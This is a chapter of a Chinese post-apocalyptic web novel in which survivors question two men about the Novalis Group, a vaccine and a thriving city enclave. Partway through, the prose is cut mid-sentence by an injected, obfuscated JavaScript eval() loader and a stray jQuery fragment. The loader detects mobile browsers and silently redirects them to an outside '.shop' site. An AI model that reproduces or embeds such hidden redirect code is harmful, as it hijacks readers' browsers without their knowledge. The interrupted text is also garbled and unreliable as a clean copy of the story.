“真会往自己脸上贴金。”
一晚上没睡,苏航正烦躁呢,听不得这种很装的言论。
江岚仿佛听到什么都不会意外,他顺着袁书朗的话接着问:“这么说,你们组织还挺大?有组织有纪律的。”
“这年头,还能有几个活人啊,就是抱团取暖罢了。”袁书朗向前伸了伸手臂,但发现是自己太过自作多情,原以为聊得氛围不错,能稍微松绑,原来无人在意,他只好继续说道,“你也知道,我是从外地回来的,肯定会认识一些人…”
他看到江岚白了自己一眼,立刻讨好地笑了一下:“诺瓦利斯集团很大啊,有些人抱团活下来了,性命无虞,自然也有闲工夫想看看自己造的孽还在不在。”
“那你在这外围等了那么久都不动手?”
“你往那儿一杵,谁下得去?”
“…你和我讲,我能不让你去?”
“我们想做的,肯定不一样。”袁书朗答得干脆,甚至带着点理直气壮的坦然。
世上总有那么一种中立派,不彻底与谁撕破脸皮,总是能明哲保身,实则是时刻看情况行事,滑不溜手、谁赢我帮谁,完全没底线。
袁书朗现在这副嘴脸,就颇有那些人的影子。江岚实在无法分辨自己是识人不清还是他变了。
江岚别过头去,袁书朗忽然腾空而起。
“…欸?说好了不动手的!”袁书朗像一条被线吊着蚯蚓,脑袋一下一下磕在半空中。
“我没说不动手吧。”
江岚脚步不停,径直往姜诚胜所在的那间屋子走去,一开门,袁书朗就被扔了进去。
两人四目相对,气氛霎时诡异得很。
“…杀鸡,儆猴?”姜诚胜僵硬地转了转脖子,虽然何曼苏给他简单接了骨,但被盯了一晚上还不让睡觉,这在古代多少算得上一种刑罚。
现在又搞这出…
可为什么是袁书朗?
“你好,我们之前见过。”袁书朗仰起脖子朝他点了个头。
“…当然…”就住对门,怎么可能没见过,姜诚胜也硬着头皮尴尬地问了声好。
“我说的是,在洛松市我们见过。你可能不记得了。”
屋内同时站了好几个人,门外还有凑热闹的,显得这个空间十分逼仄。
姜诚胜没动,甚至连眼神都努力维持着刚才那副清澈无辜的模样,脊背却绷得笔直。
倒是袁书朗彻底放开了似的,整个人的姿态松快了不少:“我们现在同是天涯沦落人,不说点什么,这事儿完不了,还不如敞开了聊聊,咱们两个绑一起也打不过她一个。”
姜诚胜在众人的注视下终于主动打破缄默:
“说什么?跟着你们说集团的人罪大恶极?还有什么用。”
“小姜啊,你有什么困难就直说,你看我们也不是不好说话的人,都一起生活这么久了,这点信心也没有吗?”谭鸣凯挤在人堆后面,他对姜诚胜还是放不下心的。
唐墨也不知道什么时候挤进了房间,目光如炬地盯着屋内的人。
“他不说那我说。”袁书朗见姜诚胜迟迟不说话,开始主动交代,“洛松市是诺瓦利斯集团的老巢,还活着的专家、高层都在那了。他们还在努力解决灰潮的问题,也算是弥补过错。”
“弥补在哪了?”江岚问,“是有了新药还是控制住了灰潮?”
“预防药物是有的,虽然不可能做到百分百防范,但也很够用了。”
“…真的?”赵泓并没有非常欣喜的感觉,冷静得连他自己都意外。叫人喜出望外的事落进耳朵里,却像是砸进了一潭死水,半点涟漪都激不起来。
“真的有能用的疫苗,是在灰潮后才研发的。”袁书朗很认真地解释,“他们那里保留了电力,也一直维持着正常的城市生活供给。”
“…有电,还有交通?”赵泓突然发现自己乍一下不记得城市生活都有什么了,带着种恍如隔世的陌生感。
“夏天有空调,冬天有取暖,也确实有少量的汽车电车,诺瓦利斯集团有一个规模不小的生活据点。”
“那我怎么从来没听过?”沈平康站在最后面朝屋里喊道,“我也在外面混过,我之前认识的人也有从外地来的,可从没没说过还有这种地方!”
“两三年前才彻底形成的稳定的据点,在此之前,就算有什么资源也不会轻易透露给外人吧?”
“…”
这倒是…沈平康得承认,袁书朗说的话没什么问题。
可他也没那么兴奋。
倒霉了太久,习惯了朝不保夕、寸步难行的日子,此刻突然听到原来还有那么一群素未谋面的人正过着有电、有暖气、有汽车代步的正常生活,这份落差非但没能激起半点希望,反倒让他心里那点憋闷更沉了几分。
“既然混得不错,那为什么还要到我们这来?”江岚不为所动,把话题拉了回来。
“我来看曾经的制造基地的保存程度,没想到这里会这么…欣欣向荣。”
“讽刺我们?”
“不敢,是真没想到能遇到你在这生活。”袁书朗始终保持着一副诚恳的姿态,“在我遇到的异能者里,你的能力算是能排进前三的,有你在这里守着,我觉得地下的空间有没有被发现都问题不大,所以我就只是保持观望,不想、也不用做什么。”
“说白了,觉得我们不重要呗。”沈平康适时总结,嗤笑道,“小卡拉米,所以什么都不用知道,傻呵呵地怎么着都能过,然后你们接着偷摸用好东西、过好日子。”
谭鸣凯闻言,神情复杂地看向姜诚胜:“小姜,真是这样啊?”
“…”
沉默也是一种默认。
谭鸣凯莫名觉得有点烧心,胸口像是堵了团发闷的气,他大力搓了几\把后脖颈,不知道该说什么好。
前些年最难的时候,不多的口粮要匀着吃,在外面遇到畸变体也从没落下过一个人,谁受伤了大家凑着照顾,现如今老人都已经不多了,可那些实打实的患难与共倒像是从头到尾被人拿着放
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738434|202338||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
大镜观察的试验。
最终只能化作一声又重又长的叹息,闷闷地散在这间狼藉的屋子里。
袁书朗看着众人的神情,又插嘴:“我和他还不太一样,我们希望更温和地与外界接触,但他们…”
“一群伪人罢了,跑到外面还装?”姜诚胜终于开口,他对袁书朗的厌恶都藏不住,“你们做了什么?从头到尾就喊点口号,蹭着别人的成果,然后慷他人之慨。”
“至少没有不分青红皂白就到处杀人,能活下来就不容易了,而且你们杀的都是什么样的人,心里没数吗?”
“…咋还内讧上了…”
赵泓此刻甚至想抓把瓜子,慢慢看他们吵架,但时间不允许,江岚毫不客气地从地上搂起一把碎石头朝他们二人扔了过去。
“有完没完?!”
“…”姜诚胜和袁书朗都不敢吭声,谁也不想再体验一次被异能压制。
屋内安静了一瞬,江岚这才又问:“诺瓦利斯集团,内部不和?”
姜诚胜:“…不能算是不和吧…有人的地方就会有争端,更何况是资源充沛的地方。”
“那你是排除异己那一派的?”
“…”
他想说不是,但昨晚的所作所为,实在没有说服力。
“我能不能和你单独聊聊?”
“想屁呢!”何曼苏立刻拒绝,“又琢磨着怎么逃走吧?!”
“…你看我现在还跑得了吗?”
“倒也是…”她还想凑近和江岚说小话,但江岚已经一口应下来。
众人想留下来,但被江岚好言好语劝走,谭鸣凯也难得想尝试掺和一下,朱辰丽也抱着脚下生根的唐墨直接走掉。
屋内重新安静下来。
“这几天太乱了,严林良刚走,紧接着又是王叔和你的事,我们这个厂子…”江岚想不到什么合适的形容词,分崩离析这个词在舌尖打了个转,又觉得未免言重。
“是我的问题。”姜诚胜直白地承认,“早上的时候小唐还找过我。”
“她找你做什么?”
“我们平时说话也不多,但最近的事还是影响到她了。小唐这小孩虽然早熟得厉害,但毕竟还是个孩子,她有点害怕。”姜诚胜抿了抿嘴,像是做了几番心理准备,“外面的情况和这边不太一样,各个方面…”
“畸变体不一样?”
姜诚胜抬头,眼神中确有一瞬间的茫然,不过也转瞬即逝。
他一直都知道江岚的动作,因为江岚每天都会报备自己在外面都折腾什么。
别人可能听个热闹就过去了,但那些细碎的信息在他脑子里就像完成了一副拼图。
“我知道你心里早有猜测,只是缺少一个印证的契机。”他苦笑,没有否认,“你如果去到我们那,一定可以做很多事。但我不建议你去。”
“为什么?”
姜诚胜沉默了片刻,喉结动了动:“畸变体和异能者,他们都不欢迎,除非…异能者是从他们手里直接产生的。”